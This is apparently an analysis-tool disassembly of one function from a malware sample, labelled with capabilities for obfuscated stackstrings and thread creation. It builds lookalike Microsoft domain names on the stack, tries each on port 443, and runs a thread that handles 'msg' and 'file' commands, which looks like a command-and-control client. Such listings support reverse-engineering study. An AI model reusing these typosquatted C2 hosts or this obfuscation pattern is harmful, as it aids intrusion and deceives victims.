Function at 0x1da1f0331a0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xf8
movdqa xmm0, xmmword [0x1da1f066ca0]
mov ecx, 0x18
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x2e74666f
mov dword [rsp + 0x44], 0x6d6f63
call fcn.1da1f039dc8
mov r15, rax
lea rdx, [rsp + 0x30]
add rax, 0x18
mov rcx, r15
mov r8d, 0x18
mov qword [rbp - 0x69], rax
call fcn.1da1f03c520
movdqa xmm0, xmmword [0x1da1f066c90]
lea r14, [r15 + 0x18]
mov ecx, 0x17
mov dword [rsp + 0x40], 0x632e7466
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x44], 0x6d6f
mov byte [rsp + 0x46], 0
call fcn.1da1f039dc8
mov r13, rax
lea rdx, [rsp + 0x30]
add rax, 0x17
mov rcx, r13
mov r8d, 0x17
mov qword [rbp + 0xf], rax
call fcn.1da1f03c520
movdqa xmm0, xmmword [0x1da1f066cb0]
mov ecx, 0x18
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x2e74666f
mov dword [rsp + 0x44], 0x6d6f63
call fcn.1da1f039dc8
mov rsi, rax
mov qword [rbp + 0x6f], rax
add rax, 0x18
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov qword [rbp + 7], rax
mov r8d, 0x18
call fcn.1da1f03c520
movdqa xmm0, xmmword [str.profile.myrnicrocloud.myrnicrosoupdate.myrnicroscenter.myrnicros_]
mov ecx, 0x19
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rbp - 0x79], 0x74666f73
mov dword [rbp - 0x75], 0x6d6f632e
mov byte [rbp - 0x71], 0
call fcn.1da1f039dc8
mov rdi, rax
mov qword [rbp + 0x77], rax
add rax, 0x19
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov qword [rbp + 0x7f], rax
mov r8d, 0x19
call fcn.1da1f03c520
xor r12d, r12d
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r12
sub r14, r15
je 0x1da1f033320
mov rdx, r14
lea rcx, [rbp - 0x59]
call fcn.1da1f033b30
mov rbx, qword [rbp - 0x59]
mov r8, r14
mov rcx, rbx
mov rdx, r15
call fcn.1da1f03c520
lea rax, [r14 + rbx]
xorps xmm0, xmm0
mov qword [rbp - 0x51], rax
mov edx, 0x17
movdqa xmmword [rbp - 0x39], xmm0
lea rcx, [rbp - 0x41]
mov qword [rbp - 0x41], r12
call fcn.1da1f033b30
mov rbx, qword [rbp - 0x41]
mov r8d, 0x17
mov rcx, rbx
mov rdx, r13
call fcn.1da1f03c520
lea rax, [rbx + 0x17]
mov qword [rbp - 0x19], r12
xorps xmm0, xmm0
mov qword [rbp - 0x39], rax
mov edx, 0x18
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x29]
call fcn.1da1f033b30
mov rbx, qword [rbp - 0x29]
mov r8d, 0x18
mov rcx, rbx
mov rdx, rsi
call fcn.1da1f03c520
lea rax, [rbx + 0x18]
mov qword [rbp - 0x11], r12
xorps xmm0, xmm0
mov qword [rbp - 0x21], rax
mov edx, 0x19
movdqa xmmword [rbp - 9], xmm0
lea rcx, [rbp - 0x11]
call fcn.1da1f033b30
mov rbx, qword [rbp - 0x11]
mov r8d, 0x19
mov rcx, rbx
mov rdx, rdi
call fcn.1da1f03c520
lea rax, [rbx + 0x19]
mov qword [rbp - 9], rax
lea rdx, [rsp + 0x30]
lea rax, [rbp - 0x59]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x50]
lea rax, [rbp + 7]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.1da1f0338b0
mov edi, 4
lea rbx, [rbp + 7]
nop word [rax + rax]
mov rcx, qword [rbx - 0x18]
lea rbx, [rbx - 0x18]
dec rdi
test rcx, rcx
je 0x1da1f03344c
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1da1f03343c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1da1f033883
mov rcx, r8
call fcn.1da1f039db8
mov qword [rbx], r12
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], r12
test rdi, rdi
jne 0x1da1f033400
mov rcx, qword [rsp + 0x58]
mov r14d, r12d
mov r12, qword [rsp + 0x50]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r12
imul rcx
mov rcx, rdx
sar rcx, 2
mov rax, rcx
shr rax, 0x3f
add rcx, rax
mov qword [rbp + 0x67], rcx
je 0x1da1f033571
nop dword [rax]
mov ecx, 0x88
call fcn.1da1f039dc8
mov rsi, qword [r12]
mov ecx, 0x1e0
mov rdi, rax
call fcn.1da1f039dc8
mov rcx, rax
call fcn.1da1f031070
mov qword [rdi + 0x28], rax
mov ecx, 0x10
mov qword [rdi + 0x30], 0
call fcn.1da1f039dc8
mov rcx, rax
call fcn.1da1f035480
mov ecx, 0x10
mov qword [rdi + 0x38], rax
call fcn.1da1f039dc8
mov rbx, rax
xor eax, eax
lea ecx, [rax + 0x18]
mov qword [rbx], rax
mov qword [rbx + 8], rax
call fcn.1da1f039dc8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbx], rax
xor eax, eax
mov qword [rdi + 0x40], rbx
lea rbx, [rdi + 0x48]
mov qword [rbx], rax
mov qword [rdi + 0x50], rax
lea ecx, [rax + 0x10]
mov qword [rdi + 0x58], rax
mov qword [rdi + 0x60], rax
mov qword [rdi + 0x68], rax
call fcn.1da1f039dc8
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rbx], rax
mov qword [rax], rbx
mov qword [rdi + 0x80], rcx
mov rcx, rdi
mov qword [rdi + 0x70], rsi
mov dword [rdi + 0x78], 0x1bb
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, rdi
call fcn.1da1f031360
test al, al
jne 0x1da1f033683
inc r14d
add r12, 0x18
movsxd rax, r14d
cmp rax, qword [rbp + 0x67]
jb 0x1da1f033490
mov rsi, qword [rbp + 0x6f]
lea rcx, [rsp + 0x50]
call fcn.1da1f033a20
mov rax, qword [rbp + 0x77]
test rax, rax
je 0x1da1f0335bb
mov rcx, qword [rbp + 0x7f]
sub rcx, rax
cmp rcx, 0x1000
jb 0x1da1f0335b0
mov rdx, qword [rax - 8]
add rcx, 0x27
sub rax, rdx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1da1f03387d
mov rax, rdx
mov rdx, rcx
mov rcx, rax
call fcn.1da1f039db8
test rsi, rsi
je 0x1da1f0335f7
mov rcx, qword [rbp + 7]
sub rcx, rsi
cmp rcx, 0x1000
jb 0x1da1f0335ec
mov rdx, qword [rsi - 8]
add rcx, 0x27
sub rsi, rdx
lea rax, [rsi - 8]
cmp rax, 0x1f
ja 0x1da1f03387d
mov rsi, rdx
mov rdx, rcx
mov rcx, rsi
call fcn.1da1f039db8
test r13, r13
je 0x1da1f033633
mov rcx, qword [rbp + 0xf]
sub rcx, r13
cmp rcx, 0x1000
jb 0x1da1f033628
mov rdx, qword [r13 - 8]
add rcx, 0x27
sub r13, rdx
lea rax, [r13 - 8]
cmp rax, 0x1f
ja 0x1da1f03387d
mov r13, rdx
mov rdx, rcx
mov rcx, r13
call fcn.1da1f039db8
test r15, r15
je 0x1da1f03366f
mov rcx, qword [rbp - 0x69]
sub rcx, r15
cmp rcx, 0x1000
jb 0x1da1f033664
mov rdx, qword [r15 - 8]
add rcx, 0x27
sub r15, rdx
lea rax, [r15 - 8]
cmp rax, 0x1f
ja 0x1da1f03387d
mov r15, rdx
mov rdx, rcx
mov rcx, r15
call fcn.1da1f039db8
add rsp, 0xf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x10
call fcn.1da1f039dc8
lea rcx, [0x1da1f031590]
xor r14d, r14d
mov r9, rax
lea r8, [0x1da1f032fd0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x61]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov qword [rax + 8], rdi
mov dword [rsp + 0x20], r14d
call fcn.1da1f040cf8
mov qword [rbp - 0x69], rax
test rax, rax
je 0x1da1f03386e
cmp dword [rbp - 0x61], r14d
je 0x1da1f033889
movaps xmm0, xmmword [rbp - 0x69]
lea rcx, [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.1da1f03974c
test eax, eax
jne 0x1da1f033894
lea r15, vtable.std::_Func_impl_no_alloc_class__public:_void___cdecl_CoreClient::process_class_std::unique_ptr_class_SRMsg__struct_std::default_delete_class_SRMsg______ptr64::_18::_lambda_1___void__class_std::shared_ptr_class_FileElement_____ptr64_.0
nop dword [rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rdi + 0x68], r14
je 0x1da1f033700
mov rcx, rdi
mov rbx, r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdx, qword [rdi + 0x60]
mov rax, qword [rdi + 0x58]
mov rcx, rdx
dec rax
shr rcx, 1
and rcx, rax
and edx, 1
mov rax, qword [rdi + 0x50]
mov rax, qword [rax + rcx*8]
lea rcx, [rax + rdx*8]
lea rax, [rbp + 0x67]
cmp rax, rcx
je 0x1da1f03374f
mov rbx, qword [rcx]
mov qword [rcx], r14
mov rdx, qword [rdi + 0x60]
mov rax, qword [rdi + 0x58]
mov rcx, rdx
dec rax
shr rcx, 1
and rcx, rax
and edx, 1
mov rax, qword [rdi + 0x50]
mov rax, qword [rax + rcx*8]
mov rsi, qword [rax + rdx*8]
test rsi, rsi
je 0x1da1f033792
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x1da1f033785
call fcn.1da1f039db8
mov edx, 0x18
mov rcx, rsi
call fcn.1da1f039db8
sub qword [rdi + 0x68], 1
jne 0x1da1f03379f
mov qword [rdi + 0x60], r14
jmp 0x1da1f0337a3
inc qword [rdi + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x1da1f033700
mov rax, qword [rbx + 8]
mov ecx, dword [rax]
cmp ecx, 0x6d7367ff
jne 0x1da1f0337fa
lea r9, vtable.type_info.0
mov dword [rsp + 0x20], r14d
lea r8, vtable.type_info.0
xor edx, edx
mov rcx, rbx
call fcn.1da1f03b44c
test rax, rax
je 0x1da1f03384e
lea rdx, [rbp + 0x67]
mov qword [rbp + 0x67], rax
mov rcx, rdi
call fcn.1da1f031c20
jmp 0x1da1f033700
cmp ecx, 0x66696c65
jne 0x1da1f03384e
lea r9, vtable.type_info.0
mov dword [rsp + 0x20], r14d
lea r8, vtable.type_info.0
xor edx, edx
mov rcx, rbx
call fcn.1da1f03b44c
test rax, rax
je 0x1da1f03384e
lea rcx, [rbp - 0x59]
mov qword [rbp - 0x59], r15
mov qword [rbp - 0x21], rcx
lea r8, [rbp - 0x59]
mov rcx, qword [rdi + 0x38]
lea rdx, [rbp + 0x67]
mov qword [rbp - 0x51], rdi
mov qword [rbp + 0x67], rax
call fcn.1da1f0354c0
jmp 0x1da1f033700
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1da1f03385c
call fcn.1da1f039db8
mov edx, 0x18
mov rcx, rbx
call fcn.1da1f039db8
jmp 0x1da1f033700
mov ecx, 6
mov dword [rbp - 0x61], r14d
call fcn.1da1f039434
int3
call fcn.1da1f04102c
int3
call fcn.1da1f04102c
int3
mov ecx, 1
call fcn.1da1f039434
int3
mov ecx, eax
call fcn.1da1f0393f8
int3